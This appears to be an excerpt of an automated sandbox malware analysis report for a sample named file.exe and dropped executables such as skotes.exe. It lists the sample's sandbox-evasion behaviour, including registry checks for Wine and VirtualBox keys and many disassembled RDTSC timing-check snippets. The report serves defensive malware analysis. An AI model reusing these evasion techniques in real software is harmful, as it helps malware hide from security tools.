Code function: 0_2_6C5355F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C5355F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AA36A second address: 12AA36F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B4FA2 second address: 12B4FBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FE3507549A6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b push edi 0x0000000c pop edi 0x0000000d jnc 00007FE3507549A6h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B4FBA second address: 12B4FBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B4FBE second address: 12B4FC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B5536 second address: 12B5540 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE350BA4116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B5540 second address: 12B5545 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B5545 second address: 12B5566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE350BA4128h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B5566 second address: 12B556A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B556A second address: 12B55A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA411Fh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esi 0x0000000e pushad 0x0000000f jmp 00007FE350BA4129h 0x00000014 jbe 00007FE350BA4116h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7FF1 second address: 12B7FF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7FF5 second address: 12B7FF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7FF9 second address: 12B800F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE3507549ACh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B800F second address: 12B8089 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA411Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FE350BA4128h 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007FE350BA411Fh 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d jmp 00007FE350BA411Dh 0x00000022 pop eax 0x00000023 jbe 00007FE350BA4119h 0x00000029 movsx edx, dx 0x0000002c lea ebx, dword ptr [ebp+1245BE38h] 0x00000032 or esi, 35B87260h 0x00000038 xchg eax, ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007FE350BA4120h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B8089 second address: 12B808F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B837A second address: 12B8384 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE350BA4116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B8384 second address: 12B838A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B838A second address: 12B838E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B838E second address: 12B8402 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3507549ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 5513B010h 0x00000012 push edx 0x00000013 mov si, 9F19h 0x00000017 pop esi 0x00000018 push 00000003h 0x0000001a push ecx 0x0000001b movsx edi, bx 0x0000001e pop ecx 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push edx 0x00000024 call 00007FE3507549A8h 0x00000029 pop edx 0x0000002a mov dword ptr [esp+04h], edx 0x0000002e add dword ptr [esp+04h], 0000001Dh 0x00000036 inc edx 0x00000037 push edx 0x00000038 ret 0x00000039 pop edx 0x0000003a ret 0x0000003b jmp 00007FE3507549AFh 0x00000040 push 00000003h 0x00000042 mov ecx, dword ptr [ebp+122D3AE3h] 0x00000048 mov dword ptr [ebp+122D1802h], eax 0x0000004e push 8D3EF603h 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 push ebx 0x00000058 pop ebx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B8402 second address: 12B8406 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B8406 second address: 12B840C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B840C second address: 12B845E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE350BA4118h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 32C109FDh 0x00000011 mov dword ptr [ebp+122D29A8h], edi 0x00000017 mov dword ptr [ebp+122D185Dh], ebx 0x0000001d lea ebx, dword ptr [ebp+1245BE4Ch] 0x00000023 clc 0x00000024 xchg eax, ebx 0x00000025 push edi 0x00000026 jmp 00007FE350BA4122h 0x0000002b pop edi 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FE350BA4124h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D9766 second address: 12D9798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jne 00007FE3507549A6h 0x0000000c popad 0x0000000d jbe 00007FE3507549BFh 0x00000013 jmp 00007FE3507549B3h 0x00000018 jl 00007FE3507549A6h 0x0000001e pop esi 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D9798 second address: 12D979C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D764E second address: 12D7652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D7652 second address: 12D765C instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE350BA4116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D793D second address: 12D7945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D8096 second address: 12D809A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D83D5 second address: 12D83DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D83DA second address: 12D83E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jno 00007FE350BA4116h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D83E6 second address: 12D83F3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE3507549A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D83F3 second address: 12D8417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push ebx 0x00000009 jmp 00007FE350BA4126h 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D86E7 second address: 12D873A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FE3507549ABh 0x00000008 jmp 00007FE3507549B7h 0x0000000d pop edi 0x0000000e jmp 00007FE3507549B9h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a jl 00007FE3507549A6h 0x00000020 jns 00007FE3507549A6h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D8E0C second address: 12D8E23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE350BA4123h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D8FFB second address: 12D903B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE3507549ADh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007FE3507549B4h 0x0000000f jmp 00007FE3507549B4h 0x00000014 popad 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D903B second address: 12D9041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE349 second address: 12DE367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a js 00007FE3507549BEh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE3507549ACh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE367 second address: 12DE36B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE36B second address: 12DE387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 js 00007FE3507549AAh 0x0000000e push eax 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pushad 0x0000001a popad 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE387 second address: 12DE392 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FE350BA4116h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF781 second address: 12DF787 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF787 second address: 12DF78D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF78D second address: 12DF791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B0AFD second address: 12B0B01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5293 second address: 12E5298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5298 second address: 12E52A2 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE350BA411Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5861 second address: 12E586D instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE3507549A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5A05 second address: 12E5A0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5A0B second address: 12E5A0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5A0F second address: 12E5A13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5B97 second address: 12E5B9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E909C second address: 12E90A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E90A0 second address: 12E90B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007FE3507549A8h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E90B2 second address: 12E90B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E90B8 second address: 12E90DF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE3507549B9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E90DF second address: 12E90ED instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push edi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E90ED second address: 12E90F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E90F3 second address: 12E9111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE350BA4121h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E9111 second address: 12E9122 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3507549AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E9122 second address: 12E913C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 pop eax 0x00000009 or dword ptr [ebp+122D376Dh], edi 0x0000000f push 9BE71029h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E913C second address: 12E9140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E9140 second address: 12E9144 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E9144 second address: 12E914A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E9D95 second address: 12E9DE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FE350BA4116h 0x00000009 jnl 00007FE350BA4116h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 xchg eax, ebx 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007FE350BA4118h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d add edi, dword ptr [ebp+122D3A83h] 0x00000033 jc 00007FE350BA411Ch 0x00000039 mov esi, dword ptr [ebp+122D3A73h] 0x0000003f push eax 0x00000040 push edi 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC3CF second address: 12EC3D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC3D5 second address: 12EC3DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EBB0B second address: 12EBB2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3507549B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e js 00007FE3507549A6h 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC3DA second address: 12EC3E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EBB2C second address: 12EBB32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED787 second address: 12ED78C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED553 second address: 12ED558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EE2A0 second address: 12EE2A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EE2A4 second address: 12EE2AA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EE2AA second address: 12EE2C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FE350BA4116h 0x00000009 js 00007FE350BA4116h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EE2C3 second address: 12EE2C8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F0A14 second address: 12F0A3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 jmp 00007FE350BA4127h 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F0A3A second address: 12F0A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F0F69 second address: 12F0F6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F0F6D second address: 12F0F7F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007FE3507549A6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F0F7F second address: 12F0F94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA4121h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F0F94 second address: 12F1000 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3507549B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a or edi, 0C4ABE87h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007FE3507549A8h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000016h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c jnc 00007FE3507549ACh 0x00000032 push 00000000h 0x00000034 and di, 1815h 0x00000039 push eax 0x0000003a pushad 0x0000003b jbe 00007FE3507549A8h 0x00000041 push edx 0x00000042 pop edx 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007FE3507549AAh 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F127F second address: 12F1283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F225D second address: 12F226A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F3323 second address: 12F332D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE350BA4116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F226A second address: 12F2270 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
